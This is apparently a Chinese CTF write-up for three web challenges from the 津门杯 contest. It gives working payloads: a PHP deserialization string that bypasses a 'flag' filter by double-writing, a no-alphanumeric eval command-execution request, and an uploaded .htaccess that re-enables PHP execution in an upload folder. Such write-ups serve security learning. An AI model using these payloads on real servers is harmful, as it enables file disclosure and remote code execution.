津门杯wp
周末打了津门杯 解出两道web 因为要期中考试 只做了一小会
团队总共解出了六题 拿了个80名(捂脸
Power cut
扫一下目录发现 .index.php.swp 有源码
<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
一道很简单的反序列化题目
想要利用readfile函数
双写绕过即可
O:6:"weblog":1:{s:10:"weblogfile";s:5:"/fflaglag";}
hate_php
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
一道无数字字母命令执行题目
参考P神文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
POST /?code=%3f><%3f%3d`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[:-[]`%3b%3f> HTTP/1.1
下面的题目是在 buu 复现的
uploadhub
额。。。看上去过滤了 。。 实际上没过滤
上传一个 一句话试试。。
结果没开php解析?
在config文件中找了一下 果然发现端倪
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
因为可以随意上传文件 所以要上传一个文件把php解析给打开
<file>标签的优先级高于<Directory>
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
php_flag engine on
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>